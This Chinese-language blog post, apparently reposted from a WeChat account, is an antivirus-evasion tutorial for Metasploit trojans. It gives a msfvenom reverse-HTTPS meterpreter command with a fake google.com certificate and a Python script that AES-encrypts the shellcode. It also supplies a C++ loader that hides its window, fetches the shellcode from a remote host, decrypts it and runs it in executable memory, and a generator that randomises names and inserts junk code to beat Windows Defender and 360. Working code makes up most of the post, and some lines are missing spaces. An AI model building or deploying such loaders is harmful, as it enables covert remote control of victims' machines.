-
windows11、本机、 Windows Defender最新 -
windows10、虚拟机、 360最新 -
ubuntu24、控制端vps、 Metasploit最新 -
python3 -
Visual Studio 2022 c++开发环境(x86)
-
upx可执行文件压缩工具(加壳)
Visual Studio需要稍微改下:
免杀理论
未知攻焉知防,同理,不知道杀软是如何防御,木马如何bypass? 杀软杀木马分为静态查杀和动态查杀,静态查杀实际上就是程序特征、pe结构之类,动态查杀,现在玩法很高端,什么沙盒里执行、异常恶意行为监测、流量监测等,我比较菜很难绕过动态,所以侧重静态,规避程序恶意特征,方式如下:
-
加载器与shellcode分离
-
shellcode加密
-
c++代码随机混淆
-
木马传输流量加密
首先要ubuntu的msf生成一个shellcode,但是出于木马流量加密考虑得https证书加持。
生成证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com"
-keyout www.google.com.key
-out www.google.com.crt &&
cat www.google.com.key www.google.com.crt > www.google.com.pem &&
rm -f www.google.com.key www.google.com.crt
生成shellcode恶意二进制bin文件
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_winhttps LHOST=1.1.1.1 LPORT=11112 PayloadUUIDTracking=true HandlerSSLCert=/xxx/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f raw -o shellcode.bin
# encrypt_shellcode.py
# pip install pycryptodome
from Crypto.Cipher import AES
import base64
import os
os.system("msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_winhttps LHOST=1.1.1.1 LPORT=11112 PayloadUUIDTracking=true HandlerSSLCert=/xxx/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f raw -o shellcode.bin")
KEY = b'0123456789abcdef0123456789abcdef' # 32字节 key (AES-256)
IV = b'a234567890abcd12' # 16字节 iv (CBC 模式)
def pad(data):
pad_len = 16 - (len(data) % 16)
return data + bytes([pad_len] * pad_len)
with open('shellcode.bin', 'rb') as f:
raw = f.read()
cipher = AES.new(KEY, AES.MODE_CBC, IV)
encrypted = cipher.encrypt(pad(raw))
with open('sc1.txt', 'wb') as f:
f.write(encrypted)
print("[+] 加密完成,保存为 sc1.bin,放到 Web 目录")
// 下载文件
std::vector<BYTE> http_download(constchar* url){
HINTERNET hInternet = InternetOpenA("Loader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hFile = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
std::vector<BYTE> buffer;
BYTE temp[1024];
DWORD bytesRead = 0;
while (InternetReadFile(hFile, temp, sizeof(temp), &bytesRead) && bytesRead != 0) {
buffer.insert(buffer.end(), temp, temp + bytesRead);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return buffer;
}
// 解密 AES-256-CBC
std::vector<BYTE> aes_decrypt(const std::vector<BYTE>& data, const BYTE* key, const BYTE* iv){
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbKeyObject, cbData, cbBlockLen;
std::vector<BYTE> decrypted(data.size());
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&cbKeyObject, sizeof(DWORD), &cbData, 0);
BCryptGetProperty(hAlg, BCRYPT_BLOCK_LENGTH, (PUCHAR)&cbBlockLen, sizeof(DWORD), &cbData, 0);
std::vector<BYTE> keyObject(cbKeyObject);
BCryptGenerateSymmetricKey(hAlg, &hKey, keyObject.data(), cbKeyObject, (PUCHAR)key, 32, 0);
std::vector<BYTE> ivCopy(iv, iv + 16);
ULONG resultLen = 0;
BCryptDecrypt(hKey, (PUCHAR)data.data(), (ULONG)data.size(),
NULL, ivCopy.data(), cbBlockLen,
decrypted.data(), (ULONG)decrypted.size(), &resultLen, 0);
decrypted.resize(resultLen);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return decrypted;
}
// AES KEY 和 IV
const BYTE key[32] = {
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f',
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f'
};
const BYTE iv[16] = {
'a','2','3','4','5','6','7','8',
'9','0','a','b','c','d','1','2'
};
intmain(){
voidunusedPrimeCheck();
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE); // 隐藏窗口
const char* url = "http://1.1.1.1/sc1.txt?12asss2ss1sss2ssss3"; // 你的远程 sc 路径
std::vector<BYTE> encrypted = http_download(url);
if (encrypted.empty()) {
std::cerr << "[-] fail" << std::endl;
return -1;
}
std::cerr << "[-] etsttest" << std::endl;
voidfakeMemoryShuffle();
std::vector<BYTE> sc12 = aes_decrypt(encrypted, key, iv);
void* exec = VirtualAlloc(NULL, sc12.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc12.data(), sc12.size());
std::cout << "[+] loading.." << std::endl;
((void(*)())exec)();
return 0;
}
http://1.1.1.1/sc1.txt?12asss2ss1sss2ssss3
#encoding: utf-8
import re,random,string
def random_string_variable_length(min_len=5, max_len=15):
length = random.randint(min_len, max_len)
first_char = random.choice(string.ascii_letters) # 首字符必须是字母
rest_chars = random.choices(string.ascii_letters + string.digits, k=length - 1)
return first_char + ''.join(rest_chars)
def generate_cpp_string_set():
count = random.randint(15, 500)
strings = [f'"{random_string_variable_length()}"' for _ in range(count)]
return '{ ' + ', '.join(strings) + ' }'
dowload_fun_name = random_string_variable_length()
decrypt_fun_name = random_string_variable_length()
key_name = random_string_variable_length()
iv_name = random_string_variable_length()
url_name = random_string_variable_length()
fun_url_name = random_string_variable_length()
random_fun_name= random_string_variable_length()
shellcode_name = random_string_variable_length()
exec_name = random_string_variable_length()
string_name= random_string_variable_length(min_len=10,max_len=150)
#print(dowload_fun_name)
list_fun_code=[
'''
void {random_fun_name}() {
for (int i = 2; i < 100; ++i) {
isPrime(i); // 故意不保存结果
}
}
''',
'''
void {random_fun_name}() {
char buf1[32] = { 0 };
char buf2[32] = { 0 };
for (int i = 0; i < 32; ++i) {
buf1[i] = (char)(i * 3);
buf2[i] = buf1[31 - i];
}
}
''',
'''
void {random_fun_name}() {
for (int i = 0; i < 5; ++i) {
if (i % 2 == 0) {
Sleep(123 + i * 2);
}
else {
Sleep(100 - i);
}
}
}
'''
]
cpp_code="""
#include <windows.h>
#include <wininet.h>
#include <bcrypt.h>
#include <fstream>
#include <iostream>
#include <vector>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "bcrypt.lib")
void {random_fun_name}() {
for (int i = 0; i < 5; ++i) {
if (i % 2 == 0) {
Sleep(123 + i * 2);
}
else {
Sleep(100 - i);
}
}
}
std::vector<BYTE> {dowload_fun_name}(const char* {fun_url_name}) {
HINTERNET hInternet = InternetOpenA("Loader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hFile = InternetOpenUrlA(hInternet, {fun_url_name}, NULL, 0, INTERNET_FLAG_RELOAD, 0);
std::vector<BYTE> buffer;
BYTE temp[1024];
DWORD bytesRead = 0;
while (InternetReadFile(hFile, temp, sizeof(temp), &bytesRead) && bytesRead != 0) {
buffer.insert(buffer.end(), temp, temp + bytesRead);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return buffer;
}
std::vector<BYTE> {decrypt_fun_name}(const std::vector<BYTE>& data, const BYTE* key, const BYTE* iv) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbKeyObject, cbData, cbBlockLen;
std::vector<BYTE> decrypted(data.size());
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&cbKeyObject, sizeof(DWORD), &cbData, 0);
BCryptGetProperty(hAlg, BCRYPT_BLOCK_LENGTH, (PUCHAR)&cbBlockLen, sizeof(DWORD), &cbData, 0);
std::vector<BYTE> keyObject(cbKeyObject);
BCryptGenerateSymmetricKey(hAlg, &hKey, keyObject.data(), cbKeyObject, (PUCHAR)key, 32, 0);
std::vector<BYTE> ivCopy(iv, iv + 16);
ULONG resultLen = 0;
BCryptDecrypt(hKey, (PUCHAR)data.data(), (ULONG)data.size(),
NULL, ivCopy.data(), cbBlockLen,
decrypted.data(), (ULONG)decrypted.size(), &resultLen, 0);
decrypted.resize(resultLen);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return decrypted;
}
bool DownloadFile(const char* url, const char* localFile) {
HINTERNET hInternet = InternetOpenA("MyDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
std::cerr << "InternetOpenA failed";
return false;
}
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {
std::cerr << "InternetOpenUrlA failed";
InternetCloseHandle(hInternet);
return false;
}
std::ofstream out(localFile, std::ios::binary);
if (!out) {
std::cerr << "Failed to open output file";
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return false;
}
char buffer[4096];
DWORD bytesRead;
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
out.write(buffer, bytesRead);
}
out.close();
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return true;
}
const BYTE {key_name}[32] = {
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f',
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f'
};
const BYTE {iv_name}[16] = {
'a','2','3','4','5','6','7','8',
'9','0','a','b','c','d','1','2'
};
int main() {
const char* imageUrl = "https://upload.xxx.org/wikipedia/commons/4/47/PNG_transp{random_stringa}arency_demonstration_1.png";
const char* outputFile = "downloaded_image.png";
if(DownloadFile(imageUrl, outputFile)) {
std::cout << "[+] Image downloaded successfully: " << outputFile << std::endl;
}
else {
std::cerr << "[-] Failed to download image." << std::endl;
}
void {random_fun_name}(); // 调用随机函数以增加复杂度
void unusedPrimeCheck();
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
const char* {url_name} = "http://1.1.1.1/sc1.txt?12as{random_stringa}";
std::vector<BYTE> encrypted = {dowload_fun_name}({url_name});
if(encrypted.empty()) {
std::cerr << "[-] {string_name}" << std::endl;
return -1;
}
void {random_fun_name}(); // 调用随机函数以增加复杂度
std::cout << "[+] {string_name}.." << std::endl;
std::cerr << "[-] {string_name}" << std::endl;
void fakeMemoryShuffle();
std::vector<BYTE> {shellcode_name} = {decrypt_fun_name}(encrypted, {key_name}, {iv_name});
void* {exec_name} = VirtualAlloc(NULL, {shellcode_name}.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy({exec_name}, {shellcode_name}.data(), {shellcode_name}.size());
std::cout << "[+] {string_name}.." << std::endl;
std::vector<std::string> {for_names} = {dict_names};
for(const std::string& {for_name} : {for_names}) {
std::cout << {for_name} << std::endl;
}
((void(*)()){exec_name})();
return 0;
}
"""
cpp_code=cpp_code.replace('{dowload_fun_name}',dowload_fun_name)
cpp_code=cpp_code.replace('{decrypt_fun_name}',decrypt_fun_name)
cpp_code=cpp_code.replace('{shellcode_name}',shellcode_name)
cpp_code=cpp_code.replace('{key_name}',key_name)
cpp_code=cpp_code.replace('{iv_name}',iv_name)
cpp_code=cpp_code.replace('{string_name}',string_name)
cpp_code=cpp_code.replace('{url_name}',url_name)
cpp_code=cpp_code.replace('{random_stringa}',random_string_variable_length(min_len=6,max_len=20))
cpp_code=cpp_code.replace('{exec_name}',exec_name)
cpp_code=cpp_code.replace('{fun_url_name}',fun_url_name)
cpp_code=cpp_code.replace('{random_fun_name}',random_fun_name)
cpp_code=cpp_code.replace('{for_name}',random_string_variable_length())
cpp_code=cpp_code.replace('{for_names}',random_string_variable_length())
cpp_code=cpp_code.replace('{dict_names}',generate_cpp_string_set())
print(cpp_code)
#print(generate_cpp_string_set())
voidMF59F3AarmM9Ubz(){
for (int i = 0; i < 5; ++i) {
if (i % 2 == 0) {
Sleep(123 + i * 2);
}
else {
Sleep(100 - i);
}
}
}
std::vector<BYTE> vb5RxBAR(constchar* bQ8k3JpQujJX9Q){
HINTERNET hInternet = InternetOpenA("Loader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET hFile = InternetOpenUrlA(hInternet, bQ8k3JpQujJX9Q, NULL, 0, INTERNET_FLAG_RELOAD, 0);
std::vector<BYTE> buffer;
BYTE temp[1024];
DWORD bytesRead = 0;
while (InternetReadFile(hFile, temp, sizeof(temp), &bytesRead) && bytesRead != 0) {
buffer.insert(buffer.end(), temp, temp + bytesRead);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return buffer;
}
std::vector<BYTE> r5nCo(const std::vector<BYTE>& data, const BYTE* key, const BYTE* iv){
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbKeyObject, cbData, cbBlockLen;
std::vector<BYTE> decrypted(data.size());
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&cbKeyObject, sizeof(DWORD), &cbData, 0);
BCryptGetProperty(hAlg, BCRYPT_BLOCK_LENGTH, (PUCHAR)&cbBlockLen, sizeof(DWORD), &cbData, 0);
std::vector<BYTE> keyObject(cbKeyObject);
BCryptGenerateSymmetricKey(hAlg, &hKey, keyObject.data(), cbKeyObject, (PUCHAR)key, 32, 0);
std::vector<BYTE> ivCopy(iv, iv + 16);
ULONG resultLen = 0;
BCryptDecrypt(hKey, (PUCHAR)data.data(), (ULONG)data.size(),
NULL, ivCopy.data(), cbBlockLen,
decrypted.data(), (ULONG)decrypted.size(), &resultLen, 0);
decrypted.resize(resultLen);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return decrypted;
}
boolDownloadFile(constchar* url, constchar* localFile){
HINTERNET hInternet = InternetOpenA("MyDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
std::cerr << "InternetOpenA failed";
return false;
}
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hUrl) {
std::cerr << "InternetOpenUrlA failed";
InternetCloseHandle(hInternet);
return false;
}
std::ofstream out(localFile, std::ios::binary);
if (!out) {
std::cerr << "Failed to open output file";
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return false;
}
char buffer[4096];
DWORD bytesRead;
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
out.write(buffer, bytesRead);
}
out.close();
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return true;
}
const BYTE gBTukrt[32] = {
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f',
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f'
};
const BYTE Q1voA[16] = {
'a','2','3','4','5','6','7','8',
'9','0','a','b','c','d','1','2'
};
intmain(){
const char* imageUrl = "https://upload.xxx.org/wikipedia/commons/4/47/PNG_transpKPZqu7AcUarency_demonstration_1.png";
const char* outputFile = "downloaded_image.png";
if (DownloadFile(imageUrl, outputFile)) {
std::cout << "[+] Image downloaded successfully: " << outputFile << std::endl;
}
else {
std::cerr << "[-] Failed to download image." << std::endl;
}
voidMF59F3AarmM9Ubz(); // 调用随机函数以增加复杂度
voidunusedPrimeCheck();
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
const char* pboKdjpS0T = "http://1.1.1.1/sc1.txt?KPZqu7AcU";
std::vector<BYTE> encrypted = vb5RxBAR(pboKdjpS0T);
if (encrypted.empty()) {
std::cerr << "[-] xFZinAbdMyMvYRDxzPaLletnS3IgEvIHvxib8Z7svprMPs0iVCx6IjvY2SpKCJjJD2lVOp0MCB6nIq33WbraoOIdfFfMMfB2lmvKDEM7kjvSm58NhSl83u3UZ3tbIWPO2mMAoeUiNkPSGuUSg" << std::endl;
return -1;
}
voidMF59F3AarmM9Ubz(); // 调用随机函数以增加复杂度
std::cout << "[+] xFZinAbdMyMvYRDxzPaLletnS3IgEvIHvxib8Z7svprMPs0iVCx6IjvY2SpKCJjJD2lVOp0MCB6nIq33WbraoOIdfFfMMfB2lmvKDEM7kjvSm58NhSl83u3UZ3tbIWPO2mMAoeUiNkPSGuUSg.." << std::endl;
std::cerr << "[-] xFZinAbdMyMvYRDxzPaLletnS3IgEvIHvxib8Z7svprMPs0iVCx6IjvY2SpKCJjJD2lVOp0MCB6nIq33WbraoOIdfFfMMfB2lmvKDEM7kjvSm58NhSl83u3UZ3tbIWPO2mMAoeUiNkPSGuUSg" << std::endl;
voidfakeMemoryShuffle();
std::vector<BYTE> gC7XuGj = r5nCo(encrypted, gBTukrt, Q1voA);
void* CUbuNT = VirtualAlloc(NULL, gC7XuGj.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(CUbuNT, gC7XuGj.data(), gC7XuGj.size());
std::cout << "[+] xFZinAbdMyMvYRDxzPaLletnS3IgEvIHvxib8Z7svprMPs0iVCx6IjvY2SpKCJjJD2lVOp0MCB6nIq33WbraoOIdfFfMMfB2lmvKDEM7kjvSm58NhSl83u3UZ3tbIWPO2mMAoeUiNkPSGuUSg.." << std::endl;
std::vector<std::string> Ocr4QxIOyTZ0 = { "MV8MhIL", "I1gIkXKjIR606", "vl18lFxZMIfFlBM", "HuSDyl", "r3xPqM8WPrB2dK", "LpbYsCG1nnsiif2", "c2smL4yu2k", "nw2Nx92EudvF3", "RKyAhdfmwbVO", "oRQ7d8mYUADg1d", "UR0wUyaLm", "ypu0U3i7xwajzEK", "oAPan", "dOlzOzI", "UXrlv", "CBGwHqG", "zgQP2FlN02w6C9u", "fGqSL", "KpVLWhVSd", "ClOJcCsfgluv336", "M4PM3", "xJLLB2w", "nCTy5kk5", "Ux3sNipbOH", "RlOMwc", "ETIsv34zWQ6", "oW2LJf", "ZpBtatQy", "nT13C", "i9LRHTu", "RlOF5k5zS9PYP", "xiJRiAFbEgV", "Wn5g48S46", "WemPFaPk1", "IZ4VkMzZlXz", "F9JlaBBgRrQ56", "HPRlMySEM", "PDxz1E7I7wufZW", "U4R8pcFKJJhU", "fnsffWLAk1TqZ", "ChuVzZA94d1i", "bzYLk", "A5dMzdiLiSveAIc", "J3wXbqMm", "FZ9DAuy9fHQkfR", "S0i4taJSjs6", "A08Gx", "Sw9vVhomh", "QSS027yL", "Jw4qCySgD", "Zx0Z28", "K3ZpecM", "vYZC6nqXq6aq", "KCzyM", "wA6AHXVsSwWDpV", "zfrbGPdf", "nBiiQLzwLG4P55F", "MO6KbzD7ML", "ykhXKCnADxQDO0s", "EenVdCdZt1", "oTgN2k", "z1R6mljmAy7H9h", "dwxhAwYQX", "ZG5ZwCai9", "XounDJ7", "s6k6CdFa3JYcMY", "Y3DZxUI", "D504HJMOGKjoaK", "unVRdXEvUT", "YMTL8sTQm6OvxC", "Iqqoja", "OfrLmUm", "cN9SsG", "lQ5TOw76", "Led02JL66aj", "AMMW1", "UuEdQU5hHRY", "BBpfhcLWuDdgNGK", "Wv32hznAQg", "yX6Bhs8ETmYan", "ryKCzhY8dg4M9r", "YCxZEJPv", "UdV41DnmyYdfRSS", "blgo8Y", "iTe9gpupV8V", "RvBGwBT", "NBbz0U", "L9qiB9CK4f", "TAs13s1z0HVC", "jknjCVcnK", "sPGUc2MqDu", "tGAcF3UFE4i5k", "GPh5z", "RkpEpS4Lemr", "MyoJ5RaITzKgKx", "ZCy46UjEoN34", "T6Nns", "X87x8PjouvRWX", "bGcwZqnM", "Sgek5Nj7Pa", "fQXdj6Ons4h", "v2guORne7", "Nz1DUSvXZ", "D6Pbx9NUvseuZf", "D8mciUo", "y3OC05SERg", "bpxbqx", "xZ2aw", "gIKi3xWX08", "POQldYB853OFgA", "nZ2Su", "MBVMYBwyB", "KxZmLNxdhmq2lT", "sppXaD", "RdNmxl7ZvKi7hB", "xA98Blc18", "WiSd4jOs", "RhL7fcNg", "fr5YvrLRy6A0tK", "Zc0AqHtYHtSi6C", "uy9EzchNn", "ijEpWimy", "GQIID", "YmGmQ9", "kzqKBVDO4fd", "gX6poRHQfX8", "RdiJ4GBoyuCr", "cmzt2ZVt", "Apn4fDUPiX", "SAoVBqbZfp01", "ByWs5rR9rj3", "UHnNAoF", "VlRLTo0C44ou6x1", "FlCdOVS0WU", "lgAmV97dZx9e", "kf3AzXsP", "Q1g4mYxp35DMM", "zHc0WuM4rlpH", "YBtQd", "YP3rUGARo0GvN", "H0g7eCrawIooSd", "YZe6hEo894gRC", "lBVnDhrv", "g4Z6r", "aYAts8fbDZWhibf", "vzDo8", "Fo5T2", "pPcJUh1", "QPCOHGCYgcgL", "nrHqvaB4jG", "k4CwoiiOkE0fNhs", "ONJuEf", "axZh4g1si5E", "L5GJi", "fyyaqWZ", "Y73OMN", "ztRZKPOHExmS", "AgZqHRmKgJZu", "a940sOFgKhryQq", "HMt581", "qQpkMmUAjQQDj", "NbhfWgaDGGCHMWh", "viMtzvikc6nYM", "rWkt8", "SwCks", "qNT8l8xfTvu1s9", "R3U4euMBamIyc", "mJfltWyf", "liNVxOqYh700P", "Vr4sPj7t", "bsD5VkT2U", "BT8xe5lv9pk", "CRmefA0uKwiS", "oJVDK", "XElMHWs8", "NX0G5J6ZwR", "W92go", "KLzIYi97W", "sNXsOXWHVxud", "D6PpzNcSIDY", "bVqoc1Pp5A", "unrF6fEMCa", "AMjMWWnUj0DsSXP", "HX3sdK4kL0jqCkp", "rmqKFvIPUZQG", "OEqlROEnI4R", "ZBvBGDPSLF", "EUhE5Pto", "yXY5ww5Pjd", "iTzNdfu", "tko1oxKWTFYM7Kg", "uCdyc2KT1AFkOq", "iQtCjxYCX", "UkXUGeVf2", "DVGjewf1", "ahK2HQqZpwt", "kTSlYbPDjt0AatS", "AAUXHRWVIPuu6eA", "WMXeIIqgNahz5I", "ah6xen9LOu", "Ykmx2b", "wGfum3", "C67G74T", "Od1opn2onC", "TIAs7Bp2", "dbwnS", "el4Ks7JraG", "dBkuK5K1lsE", "snAPf", "jGIte2Cg9yL", "MrmfTvlnOkGSYHp", "RnlfhwOYX1zcD", "RRnMoJBdw4u481", "Ze61nmcW", "eQSU8OD", "iMczmCr3kH81Y9O", "kSN2U5hjf2VwgR", "xrDK1ci8g9", "kFzrZf", "Bp33V7h", "P9ooJd6KLuWrh", "YzbACQMlY9ii", "NG6I1iI31q", "mZRKQ2oxcuG", "ofSqejB56WI", "Psamp5ahZBN", "PrUL9JCrTyfY", "PAWmQiEb", "Qut2HL3IBra8y", "s6poywOUTHb5", "X6rprW58riTWdgY", "U8qPWV9", "tBCwnjQPE", "qNtoTqpA9CwlS8", "P6m17ONn", "wYuSi3NV2gg", "obXFKiL6SgkDF", "xhlRmVu", "jswAtipWdi", "M5NWtWriogY", "fak5URu", "oSv1q04jYrHt9", "mkATMi", "Eql3bgiXSR", "RbYinP1u", "i3sLKKYrhzj", "LVkSqZbTctLu9s", "IxjzcjQ6COFVNNo", "lIIEbIvkgTPn", "EzeTLEPP07e", "UHyTliyEEC9sO", "y1zC7xCFDeDG", "PNtTG8kaaUs1", "HVZwkzSBtv", "uHCUQ1wtj7TJE", "CuGgZM6l6", "jVe0rsgI", "qTCOuepJ8", "uqCWZ54NBqp", "bast8uSJTHU2Pj", "UKcb9J9ZWZ8Dw", "PoR0SC4", "va0TB6gSUIBTC", "Jh47PFnTtNcF", "ZEqV506O2LfKPi", "mNWXDCLZPIjXe", "P1TRKsxjt06TSJS", "n9uSW", "HWyjfml7lhz8i", "MVvs0Kq2k", "RD18C", "Qty07uCFqNF", "Yzee8lpbHlLen", "pfjjWeBtzjZ", "p349hNu", "gRVDMttlyR", "sOpsWopi", "wZbNchekCF", "b5VxFDg4", "K2rUCfDOHPfnC", "RLhqKz7vaPhlmbS", "oD70BO", "SzM7I5r", "OKIPc1pQOqCN", "WaZrv9OGE43P", "LJNcsQY2tK2qp", "nn4dFoRfQq", "ZxOrRI0", "CL3COzoB7", "ZRcPpGs", "E6LDi4Z", "OiSSZP7", "bLB2H", "qchjxrWFYax", "wvcjMUizagqkL", "MWgHKyfAk", "d0o6Ysqb", "g8SNM9", "fIzwn4TuDWktzIH", "eSmirEB2Ay0wM", "mnv4fZ8Uyq2HW", "ImAeni1vguzjxJ", "TSVK8ZO", "qw010vXhadqDear", "NEXqdK033tfj", "cVynyKzqV", "yF769WC", "wKvjAfcSg6Lcmm", "U6R5w1TA6CK", "QuupdvD6WvPc", "TOJQ0e6DqAMiW", "ZLzQBKz4J", "FOdqTZaIsU", "JeTdru6abC19V", "tgt3c", "TKhrX1l23V", "IYxVG2gAWR2RSzh", "EkOoIRNoUf30rOZ", "Bb4QrSw", "oJ21zX1b", "GOqIap5FfCn0", "xzAN4tvK4KzcJn" };
for (const std::string& JCmYhnv78QIO0RI : Ocr4QxIOyTZ0) {
std::cout << JCmYhnv78QIO0RI << std::endl;
}
((void(*)())CUbuNT)();
return 0;
}
原文始发于微信公众号(鬼麦子):Metasploit 简单木马免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论